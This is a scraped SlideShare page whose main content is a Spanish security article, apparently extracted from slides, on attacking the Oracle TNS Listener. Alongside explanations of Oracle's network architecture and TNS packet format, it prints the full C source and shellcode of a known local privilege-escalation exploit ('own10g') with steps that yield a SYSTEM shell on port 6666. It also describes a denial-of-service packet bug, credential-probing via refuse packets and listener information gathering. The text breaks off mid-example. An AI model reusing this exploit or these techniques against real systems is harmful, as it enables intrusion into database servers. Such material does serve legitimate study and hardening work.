Rendimiento en aplicaciones web con Symfony2Rendimiento en aplicaciones web con Symfony2
Rendimiento en aplicaciones web con Symfony2Asier Marqués
 
Replicacion con postgresql y slony
Replicacion con  postgresql y slonyReplicacion con  postgresql y slony
Replicacion con postgresql y slonyJohanna Mendez
 
Replicacion con postgresql y slony
Replicacion con  postgresql y slonyReplicacion con  postgresql y slony
Replicacion con postgresql y slonyJohanna Mendez
 
Preparando el entorno de Red de Oracle Database 11gZ052 06
Preparando el entorno de Red de Oracle Database 11gZ052 06Preparando el entorno de Red de Oracle Database 11gZ052 06
Preparando el entorno de Red de Oracle Database 11gZ052 06Alexander Calderón
 
Sysmana 2017 monitorización de logs con el stack elk
Sysmana 2017   monitorización de logs con el stack elkSysmana 2017   monitorización de logs con el stack elk
Sysmana 2017 monitorización de logs con el stack elkJosé Ignacio Álvarez Ruiz
 
PARADIGMAS FP Y OOP USANDO TÉCNICAS AVANZADAS DE PROGRAMACIÓN ASÍNCRONA
PARADIGMAS FP  Y OOP USANDO TÉCNICAS AVANZADAS DE PROGRAMACIÓN ASÍNCRONAPARADIGMAS FP  Y OOP USANDO TÉCNICAS AVANZADAS DE PROGRAMACIÓN ASÍNCRONA
PARADIGMAS FP Y OOP USANDO TÉCNICAS AVANZADAS DE PROGRAMACIÓN ASÍNCRONAVíctor Bolinches
 
Rendimiento en magento
Rendimiento en magentoRendimiento en magento
Rendimiento en magentoOnestic
 
37 supervisión del sistema
37  supervisión del sistema37  supervisión del sistema
37 supervisión del sistemaAprende Viendo
 
Sistemas operativos unidad 2
Sistemas operativos unidad 2Sistemas operativos unidad 2
Sistemas operativos unidad 2Luis Cigarroa
 
Documentación de pruebas del software
Documentación de pruebas del softwareDocumentación de pruebas del software
Documentación de pruebas del softwareYenny Aldana
 

Similar a Anatomía de un ataque a tns listener (20)

Curso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpCurso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmp
 
Lw2010 Pedro Valera
Lw2010 Pedro ValeraLw2010 Pedro Valera
Lw2010 Pedro Valera
 
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En RedesLw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
 
Rendimiento en aplicaciones web con Symfony2
Rendimiento en aplicaciones web con Symfony2Rendimiento en aplicaciones web con Symfony2
Rendimiento en aplicaciones web con Symfony2
 
Replicacion con postgresql y slony
Replicacion con  postgresql y slonyReplicacion con  postgresql y slony
Replicacion con postgresql y slony
 
Replicacion con postgresql y slony
Replicacion con  postgresql y slonyReplicacion con  postgresql y slony
Replicacion con postgresql y slony
 
Preparando el entorno de Red de Oracle Database 11gZ052 06
Preparando el entorno de Red de Oracle Database 11gZ052 06Preparando el entorno de Red de Oracle Database 11gZ052 06
Preparando el entorno de Red de Oracle Database 11gZ052 06
 
Sysmana 2017 monitorización de logs con el stack elk
Sysmana 2017   monitorización de logs con el stack elkSysmana 2017   monitorización de logs con el stack elk
Sysmana 2017 monitorización de logs con el stack elk
 
Viernes Tecnicos DTrace
Viernes Tecnicos DTraceViernes Tecnicos DTrace
Viernes Tecnicos DTrace
 
Intro to DTrace
Intro to DTraceIntro to DTrace
Intro to DTrace
 
Secure txscalacsharp
Secure txscalacsharpSecure txscalacsharp
Secure txscalacsharp
 
PARADIGMAS FP Y OOP USANDO TÉCNICAS AVANZADAS DE PROGRAMACIÓN ASÍNCRONA
PARADIGMAS FP  Y OOP USANDO TÉCNICAS AVANZADAS DE PROGRAMACIÓN ASÍNCRONAPARADIGMAS FP  Y OOP USANDO TÉCNICAS AVANZADAS DE PROGRAMACIÓN ASÍNCRONA
PARADIGMAS FP Y OOP USANDO TÉCNICAS AVANZADAS DE PROGRAMACIÓN ASÍNCRONA
 
Rendimiento en magento
Rendimiento en magentoRendimiento en magento
Rendimiento en magento
 
37 supervisión del sistema
37  supervisión del sistema37  supervisión del sistema
37 supervisión del sistema
 
Manual tecnico
Manual tecnicoManual tecnico
Manual tecnico
 
Sistemas operativos unidad 2
Sistemas operativos unidad 2Sistemas operativos unidad 2
Sistemas operativos unidad 2
 
Documentación de pruebas del software
Documentación de pruebas del softwareDocumentación de pruebas del software
Documentación de pruebas del software
 
Aplicación Cliente - Servidor / GUI - Consola
Aplicación Cliente - Servidor / GUI - ConsolaAplicación Cliente - Servidor / GUI - Consola
Aplicación Cliente - Servidor / GUI - Consola
 
PostgreSQL
PostgreSQLPostgreSQL
PostgreSQL
 
Cplus
CplusCplus
Cplus
 

Último

Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfJulian Lamprea
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxLolaBunny11
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 

Último (13)

Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdf
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptx
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 

Anatomía de un ataque a tns listener

  • 1. " M A N U E L G O N Z Á L E Z VA L I Ñ A S [ 0 X S T O R M ] " A N ATO MÍ A D E U N ATAQU E A TN S L I S TEN E R LA ARQUITECTURA DE N IVEL DE RED DE ORACLE Y SU IMPORTAN CIA EN LA SEGURIDAD. CAPÍTULO II
  • 2. 2
  • 3. ANATOM Í A DE U N ATAQU E A TNS LISTENER DESDE EL DESCONOCIMI ENTO AL CONOCIMIENTO. INTRODUCCIÓN SOBRE LA ARQUITECTUR A DE RED DE ORACLE, HOW TO DEL PROCESO DE AUTENTICACIÓN Y COM O BUSCAR Y EXPLOTAR VULNERABILIDADES. I N T ROD U C C I ÓN Cuando hablamos de “un sistema de base de datos Oracle”, ¿de que estamos hablando realmente? Un sistema de base de datos se refiere no solo al propio gestor, como comúnmente se piensa a la hora de realizar un proceso de hardening, sino a todo lo relacionado con su funcionamiento, normalmente una base de datos proporciona servicio a través de una instancia, aunque en caso de un cluster puede haber más de una instancia corriendo sobre una misma base de datos, no obstante entenderemos (al menos desde el punto de vista del hardening y/o ethical hacking) que el sistema de base de datos se compone de la propia arquitectura de red, el gestor propiamente dicho, el sistema operativo sobre el que corre, así como cuestiones relativas a almacenamiento o backups; en este artículo se tratará todo lo relativo a la arquitectura de red y el proceso de autenticación propio de Oracle. Cada base de datos se referencia mediante una instancia cuyo SID es el nombre de esa instancia, será la forma de referirnos a la instancia por tanto, mientras que si hablamos de hostname o host, nos estaremos refiriendo a la máquina sobre la que corre esa instancia. Desde el punto de vista del software diferenciamos dos componentes principales, el TNS Listener y el RDBMS (Relational Database Management System). El TNS Listener es el concentrador de todas las comunicaciones de Oracle, cuando una instancia de base de datos se inicia es registrada por el TNS Listener (TNSL en adelante), por lo que cuando un cliente intenta conectar a la base de datos, es el TNSL quien acepta esa conexión y redirige a la base de datos. Cuando el RDBMS quiere lanzar un procedimiento externo, este se conecta al TNSL quien lanza la llamana extproc. Una excepción a lo anterior son los Jobs externos que son gestionados mediante el job scheduler, por lo que en este caso el RDBMS se conecta directamente al external job. P RO C E S O S Los procesos de Oracle dependen en su totalidad del sistema operativo sobre el que corre Oracle, ya sean sistemas Windows o plataformas *nix. Sabemos por tanto que una instancia de base de datos describe todos los procesos y estructuras de memoria que proveen acceso a dicha base de datos. Existen dos grandes bloques de procesos – background y shadow o server. Los procesos shadow o server sirven peticiones de clientes, en otras palabras cuando un cliente se conecta mediante el TNSL y requiere acceso a los servicios de la base de datos, el TNSL está en manos de un proceso server. Este proceso server recoge las queries SQL y ejecuta en el lado del servidor. Los procesos en background existen para soportar este funcionamiento. Existen muchos procesos de background, cada uno con distintos roles, incluyendo escritores de base de datos, escritores de logs, archivadores, monitorizadores de sistema, monitorizadores de procesos y muchos otros. En plataformas *nix cada uno de estos procesos de background corren en procesos separados, es decir, son procesos del sistema operativo distintos. En sistemas Windows todos corren en un mismo proceso llamado Oracle.exe. Existe un área de memoria especial donde se 3
  • 4. mapean todos los procesos en *.nix llamada Ssystem Global Area, comúnmente conocida como SGA. La SGA está implementada como un fichero de mapeo de memoria y contiene toda la información referente a la instancia de una base de datos. Igualmente existe otra área de memoria conocida como shared pool, la cual contiene las estructuras compartidas por todos los usuarios, como definiciones de tablas, etc. Un punto interesante de los procesos en Oracle sobre sistemas Windows es que estos procesos pueden ser abiertos por cualquier grupo, lo cual es una clara brecha de seguridad, para verlo, considere el siguiente proceso y código: 1) Consiga el ID de Oracle.exe - ej. 1892 2) Consiga el SID - ej. ORCL 3) Ejecute dos shells – Shell A y B 4) En la Shell A ejecute C:>sqlplus /nolog SQL*Plus: Release 10.1.0.2.0 Copyright (c) 1982, 2010, Oracle. All rights reserved. SQL> connect scott/password_no_valida 5) En la Shell B ejecute C:>own10g 1892 *oraspawn_buffer_orcl* 6) En la Shell A intente reautenticar via sqlplus 7) En la Shell B ejecute C:>telnet 127.0.0.1 6666 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985–2001 Microsoft Corp. C:WINDOWSsystem32>c:whoami c:whoami NT AUTHORITYSYSTEM El código del exploit utilizado es ampliamente conocido: #include <stdio.h> #include <windows.h> #include <winbase.h> HANDLE hSection=NULL; unsigned char *p = NULL; int OpenTheSection(unsigned char *section, DWORD perm); SIZE_T GetSizeOfSection(); int MapTheSection(unsigned int rw); unsigned char shellcode[]= "x83xECx24x55x8BxECxEBx03x58xEBx05xE8xF8xFFxFFxFF" "x83xC0x7Ex83xC0x7Bx50x99x64x8Bx42x30x8Bx40x0Cx8B" "x70x1CxADx8Bx48x08x51x52x8Bx7DxFCx8Bx3Cx57x57x8B" "x41x3Cx8Bx7Cx01x78x03xF9x8Bx5Fx1Cx8Bx77x20x8Bx7F" "x24x03xF1x03xD9x03xF9xADx91x33xF6x33xD2x8Ax14x08" "x41xC1xCEx0Dx03xF2x84xD2x75xF3x83xC7x02x5Ax52x66" 4
  • 5. "x3BxF2x75xE5x5Ax5Ax42x0FxB7x4FxFEx03x04x8Bx89x44" "x95x04x59x80xFAx02x7ExAEx80xFAx08x74x1Ex52x80xFA" "x03x74x02xEBxA1x99x52x68x33x32x20x20x68x77x73x32" "x5Fx54xFFxD0x83xC4x0Cx5Ax91xEBx8Bx99xB6x02x2BxE2" "x54x83xC2x02x52xFFxD0x50x50x50x6Ax06x6Ax01x6Ax02" "xFFx55x14x8Dx65xD4x50x99x52x52x52xBAx02xFFx1Ax0A" "xFExC6x52x54x5Fx6Ax10x57x50xFFx55x18x6Ax01xFFx75" "xD0xFFx55x1Cx50x50xFFx75xD0xFFx55x20x99x52x68x63" "x6Dx64x20x54x5Fx50x50x50x52x52xB6x01x52x6Ax0Ax99" "x59x52xE2xFDx6Ax44x54x5Ex42x54x56x51x51x51x52x51" "x51x57x51xFFx55x0CxFFx55x08x16x9Fx9FxB5x72x60xA8" "x6Fx80x3Bx75x49x32x4CxE7xDF"; int WriteShellCode(char *section); int main(int argc, char *argv[]) { HANDLE hThread = NULL; DWORD id = 0; HMODULE k=NULL; FARPROC mOpenThread = 0; FARPROC ntq = 0; FARPROC nts = 0; unsigned char buff[1024]=""; unsigned int len = 0; unsigned int res = 0; unsigned int pid = 0; unsigned char *p = 0; unsigned int tid = 0; CONTEXT ctx; unsigned char *ptr=NULL; 5
  • 6. if(argc != 3) { printf("nnt*** own10g ***nn"); printf("tC:>%s pid section_namenn",argv[0]); printf("twhere pid is the process ID of Oraclen"); printf("tand section_name is *oraspawn_buffer_SID*n"); printf("tSID is the database SID - e.g. orclnn"); printf("tSee notes in source code for full detailsnn"); printf("tDavid Litchfieldnt(davidl@ngssoftware.com)"); return 0; } if(WriteShellCode(argv[2])==0) return printf("Failed to write to section %sn",argv[2]); k = LoadLibrary("kernel32.dll"); if(!k) return printf("Failed to load kernel32.dll"); mOpenThread = GetProcAddress(k," OpenThread"); if(!mOpenThread) return printf("Failed to get address of OpenThread!"); k = LoadLibrary("ntdll.dll"); if(!k) return printf("Failed to load ntdll.dll"); ntq = GetProcAddress(k," NtQueryInformationThread"); if(!ntq) return printf("Failed"); nts = GetProcAddress(k," NtSetInformationThread"); if(!nts) return printf("Failed"); tid = atoi(argv[1]); 6
  • 7. while(id< 0xFFFF) { hThread = mOpenThread(THREAD_ALL_ACCESS,TRUE,id); if(hThread) { res = ntq(hThread,0,buff,0x1C,&len); if(res !=0xC0000003) { p = &buff[9]; pid = (int) *p; pid = pid << 8; p--; pid = pid + (int) *p; if(pid == tid) { printf("%dn",id); ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; if(GetThreadContext(hThread,&ctx)==0) return printf("Failed to get context"); ptr = (unsigned char *)&ctx; ptr = ptr + 184; // This exploit assumes the base address of the // section is at 0x044D0000. If it is not at this // address on your system - change it. memmove(ptr,"x40x01x4Dx04",4); if(SetThreadContext(hThread,&ctx)==0) return printf("%dn",GetLastError()); 7
  • 8. } } } hThread = NULL; id ++; } return 0; } int WriteShellCode(char *section) { SIZE_T size = 0; if(OpenTheSection(section,FILE_MAP_WRITE)==0) { printf("OpenTheSection: Section %stError:%dn",section,GetLastError()); return 0; } if(MapTheSection(FILE_MAP_WRITE)==0) { printf("MapTheSection: Section %stError:%dn",section,GetLastError()); return 0; } size = GetSizeOfSection(); if(size == 0) { printf("GetSizeOfSection: Section %stError:%dn",section,GetLastError()); return 0; } printf("Size of section %dn",size); 8
  • 9. if(size < 0x141) return 0; size = size - 0x140; if(size < strlen(shellcode)) return 0; p = p + 0x140; memmove(p,shellcode,strlen(shellcode)); return 1; } int OpenTheSection(unsigned char *section, DWORD perm) { SIZE_T size=0; hSection = OpenFileMapping(perm, FALSE, section); if(!hSection) return 0; else return 1; } int MapTheSection(unsigned int rw) { p = (char *)MapViewOfFile(hSection, rw, 0, 0, 0); if(!p) return 0; return 1; } SIZE_T GetSizeOfSection() 9
  • 10. { MEMORY_BASIC_INFORMATION mbi; SIZE_T size=0; if(!p) { printf("Address not valid.n"); return 0; } ZeroMemory(&mbi,sizeof(mbi)); size = VirtualQuery(p,&mbi,sizeof(mbi)); if(size !=28) return 0; size = mbi.RegionSize; printf("Size: %dn",size); return size; } Entonces, ¿que pasó aquí? Cuando un usuario local intenta conectar con Oracle (bajo Windows), lo hace a través de pipes. Se crean cuatro hilos en el proceso servidor que comunica el cliente con el servidor. Esos cuatro hilos tienen implementado un ACL discreto, llamado DACL para que únicamente los usuarios con permisos puede abrir el/los hilos, en el paso 4 del proceso anterior, mediante el intento de autenticación creamos hilos similares en el proceso server, a continuación en el paso 5 lanzamos el exploit , el cual abre una sección de memoria en el proceso server y escribe nuestra shellcode, esta sección tiene una dirección 0x044D0000 (puede variar). Debido a que el DACL permite escribir en esta sección a cualquiera, podemos hacerlo. El nombre usado *oraspawn_buffer_orcl*, hace referencia al orcl que es el SID obtenido el el paso 2. Un apunte importante es que si escribimos nuestra shellcode específica para 0x044D0140, tendremos que prevenir que la shellcode se salte en el segundo intento de autenticación, lo mejor es escribir la sección para el contexto de ejecución, en otras palabras debemos setear el EIP al punto inicial de la shellcode. En el paso 6 se duerme el hilo previamente abierto y se lanza la shellcode y mediante esta conseguirmos hacer telnet al puerto 6666 para comprobar que realmente tenemos privilegios de system. 10
  • 11. FILE SYSTEM Aunque no lo parezca, debemos ver o repasar algunos conceptos que afectan al sistema de ficheros para que la información aquí detallada sea coherente y concisa (se necesita tener claros estos conceptos para entender y poder hacer un bypassing de las acls de oracle). El directorio base donde se instala Oracle está referenciado mediante la variable de entorno $ORACLE_HOME, los ejecutables principales de Oracle están localizados en $ORACLE_HOME/bin/oracle en sistemas *nix y %ORACLE_HOMEbinoracle.exe en sistemas Windows. Los datos son almacenados en estructuras lógicas llamadas tablespaces y físicamente en datafiles, que comúnmente tienen la extensión .dbf. Normalmente los datafiles se encuentran en el directorio $ORACLE_HOME/oradata/SID. Estos datafiles tienen una estructura simple binaria. La cabecera del fichero cambia según versión, para una 10g el formato sería el siguiente: el segundo byte indica el tipo de fichero – 0xA2 indica un datafile normal, 0xC2 es un control file y 0x22 es un fichero de redo log. El DWORD (4 bytes) desde 0x14 a 0x17 indica el tamaño de cada bloque de datos en el fichero y el DWORD desde 0x128 a 0x1B indica el número de data blocks en el fichero. Los bytes 0x1C a 0x1F son la “magic key” siempre seteada a 0x7D7C7B7A. La cabecera del fichero es del mismo tamaño que los otros bloques, indicado en 0x14 a 0x17, entonces el primer data block se encuentra en 0x00002000. Cada data block contiene el número de bloques en bytes (black_base+4), la versión del servidor se encuentra desde [block_base+0x18 a block_base+0x1B]. El primer data block es especial, porque contiene información sobre el servidor. Por ejemplo, el SID de la base de datos se puede encontrar en block_base+0x20, el tablespace name se puede encontrar en block_base+0x52, etc. Los otros dos tipos de ficheros mencionados anteriormente –control files y redo logs. Los control files contienen información crítica sobre la estructura física del servidor de base de datos. Los redo logs guardan pistas o trazas de cambios en los data files y actúan como bridge entre el servidor y los datafiles. Por ejemplo si un usuario cambia su password mediante alter user name indentified by password, en versiones antiguas de Oracle (9i) se guardaba la contraseña en texto plano! El fichero de configuración inicial de la base de datos, init<SID>.ora o spfile<SID>.ora, se puede localizar en $ORACLE_HOME/dbs en plataformas *nix. N E T WO R K Oracle puede ser configurado para que escuche sockets TCP, con o sin SSL, IPC, SPX y PIPES. En Oracle sobre plataformas Windows, los pipes son accesible en los puertos 139 y 445 TCP, lo que significa que cuando el TNS Listener no está configurado con sockets TCP, es accesible a través de la red vía pipes. Cuando se habilita el listen de sockets TCP, se usan los puertos 1521 o 1525, aunque depende de los productos instalados y la configuración específica, obviamente pueden ser descubiertos mediante un escaneo con nmap. La arquitectura de red de Oracle, consta de varios componentes, por lo que podemos hacer una comparación con el modelo OSI (figura 2-1). Esta arquitectura habilita a los clientes Oracle y servidores de aplicación para comunicarse de forma transparente sobre protocolos TCP/IP. El protocolo de sesión hace de interface entre las aplicaciones (OCI o Oracle Call Inteface en el cliente, OPI o Oracle Program Interface en el servidor) y la capa de red conocida como Net9. 11
  • 12. Entre OCI/OPI y la capa NET9 está la capa de presentación llamada TTC (Two-Task Common) la cual es responsable de la conversión de datos y estructuras entre el cliente y el servidor. La capa Net9 tiene tres componentes fundamentales, de los cuales únicamente nos concierne en este documento el TNS cuya tarea principal es seleccionar el protocolo de adaptación de Oracle y hacer el wrapping de la comunicación en uno de los protocolos soportados. Figura 2-1 12
  • 13. E L P R OTOC OL O T N S APLICANDO REVERSING SOBRE EL TNS: Para poder hace reversing sobre el protocolo TNS y entender este protocolo a bajo nivel, es necesario considerar todo lo que aquí se expone. TNS HEADER: Cada paquete TNS tiene una cabecera de 8 bytes. La primera palabra (2 bytes) es usada para indicar la longitud del paquete incluida esta cabecera. La siguiente palabra el el checksum del paquete, por defecto 0x0000 (es decir, no implementado). El siguiente byte indica el tipo de paquete, los tipos mas usuales son los siguientes: TIPO 1: CONNECT PACKET TIPO 2: ACCEPT PACKET TIPO 3: ACK PACKET TIPO 4: REFUSE PACKET TIPO 5: REDIRECT PACKET TIPO 6: DATA PACKET TIPO 7: NULL PACKET TIPO 9: ABORT PACKET TIPO 11:RESEND PACKET TIPO 12: MARKER PACKET TIPO 13: ATTENTION PACKET TIPO 14: CONTROL PACKET Cuando nos conectamos a Oracle, a nivel de TNS el cliente envía al servidor un Connect packet (tipo 1), indicando el nombre de servicio al que quiere acceder. A continuación pueden suceder dos cosas, por un lado, el Listener envía un paquete de aceptación (tipo 2) o hace una redirección a otro puerto (tipo 5). Ocurriendo esto, el cliente intenta autenticar. Este proceso se cubre en el capítulo de AUTENTICACIÓN. Por tanto una vez el cliente envía el paquete de conexión, puede ser redirigido para solicitar el servicio. Todos los paquetes de autenticación son de tipo 6. Si el Listener no conoce el servicio que el cliente está solicitando, enviará un paquete de tipo 4 o Refuse packet. Podremos ver paquetes tipo 12 o Marker packet, por ejemplo, si el servidor quiere parar la comunicación con el cliente enviará paquetes 0x0C. Continuando con la definición de la cabecera TNS, el siguiente byte es un conjunto de flags. Generalmente no se usan, aunque el cliente 10g establece el valor 0x04. Los dos bytes finales forman un Word para el checksum de la cabecera, por defecto no se usan. WORD 00 00 Packet Size WORD 00 00 Packet Checksum 13
  • 14. BYTE 00 Packet Type BYTE 00 Flags WORD 00 00 Header Checksum Volviendo a la perspectiva del ataque, los paquetes refused (tipo 4), indican algún tipo de error, por ejemplo, logon denegado o “invalid username/password” –ORA-01017. En estos errores, el byte 54 indica el problema. 3 significa invalid password, 2 indica usuario desconocido…como puede verse, es posible hacer un leak de información únicamente usando refused packets. DENTRO DEL PAQUETE: Realizando una captura, la mayoría de paquetes que se ven son Data Packets (tipo 6). En los Data Packets, después de la cabecera están los Data Flags. Si el paquete es de desconexión, este Word contendrá el valor 0x0040 –Generalmente será 0x0000. NOTA: Existe un bug en todas las versiones de Oracle, cuando el servidor procesa un Data Packet (tipo 6) cuando el segundo bit del Data Flag está seteado pero el primero (más significativo) no está seteado (ej. 2,6,10,14, etc). Cuando el servidor recibe un paquete con estas características entra en un bucle infinito donde se consume toda la CPU disponible y a no ser que el sistema operativo recupere el control el servidor se verá afectado por un DOS, obviamente sea cual sea el resultado, esto se traduce en un impacto negativo. El siguiente byte después del Data Flags (byte 11) determina que hay en el Data Packet, a continuación se puede ver el tipo de contenido: 0x01 indica negociación de protocolo. Aquí el cliente envía al servidor los protocolos aceptados -6, 5, 4, 3, 2, 1 y 0. El servidor responde con la versión, por ejemplo 6 o 5, igualmente envía información extra como el charset usado la versión de string o los flags de servidor. 0x02 indica intercambio de representación de tipos de datos 0x03 indica la llamada a TTI (Two-Task Interface). Las funciones pueden ser: 0x02 Open 0x03 Query 0x04 Execute 0x05 Fetch 0x08 Close 0x09 Disconnect/logoff 0x0C AutoCommit ON 0x0D AutoCommit OFF 0x0E Commit 14
  • 15. 0x0F Rollback 0x14 Cancel 0x2B Describe 0x30 Startup 0x31 Shutdown 0x3B Version 0x43 K2 Transactions 0x47 Query 0x4A OSQL7 0x5C OKOD 0x5E Query 0x60 LOB Operations 0x62 ODNY 0x67 Transaction - end 0x68 Transaction - begin 0x69 OCCA 0x6D Startup 0x51 Logon (presenta la password) 0x52 Logon (presenta el username) 0x73 Logon (presenta password - send AUTH_PASSWORD) 0x76 Logon (present username - request AUTH_SESSKEY) 0x77 Describe 0x7F OOTCM 0x8B OKPFC 0x08 indica OK, enviado por el servidor en respuesta a cliente. 15
  • 16. 0x11 indica funciones extendidas de TTI. 0x20 se usa cuando se hace una llamada a un procedimiento externo. 0x44 también se usa en el caso anterior. O B T E N I E N D O L A V E R S I Ó N D E OR A C L E En las últimas versiones, Oracle ha mejorado cuantitativamente la seguridad del Listener, por lo que vamos desde el listener de versiones 8i y 9i donde la seguridad del mismo era prácticamente inexistente, pasando por la versión 10g que incluye numerosas mejoras y por último las versiones 11g donde ya podemos hablar de seguridad, debido a los principios de rediseño que se establecen en los factores clave, igualmente con el último security service pack que Oracle publicó el 17 Enero de 2012, se subsanan vulnerabilidades “míticas” en el sistema de Listener. Existen muchas forma de obtener la versión del Listener así como otro tipo de información “sensible” dependiendo de la versión de Oracle, igualmente es posible establecer ciertas medidas que aporten una seguridad extra, como pueden ser: implementar el TCP node valid checking o establecer reglas de firewall que discriminen cierto tipo de tráfico. A continuación veremos algunos métodos para obtener la versión del Listener: La herramienta de control del Listener se llama “lsnrctl” y soporta tanto el comando version como status, esta herramienta proporciona un leakage de información, como la versión, detalles del sistema operativo en el que corre el listener, en versiones antiguas funcionaba al 100% por lo que hacer un gathering de información interesante era trivial, en la versión 10g se inhabilita el comando status (delegando mediante remotely) pero el comando version sigue funcionando, en versiones 11g se puede comprobar que esto ya está debidamente corregido. A continuación se muestra un ejemplo de information leakage obtenido en la fase de information gathering sobre una versión de Oracle en un entorno crítico. C:>lsnrctl LSNRCTL for 32-bit Windows: Version 8.1.7.4.0 - Production on 19-JUN-2006 17:54:42 (c) Copyright 1998 Oracle Corporation. All rights reserved. Welcome to LSNRCTL, type "help" for information. LSNRCTL> set current_listener 192.168.0.120 Current Listener is 192.168.0.120 LSNRCTL> version Connecting to 16
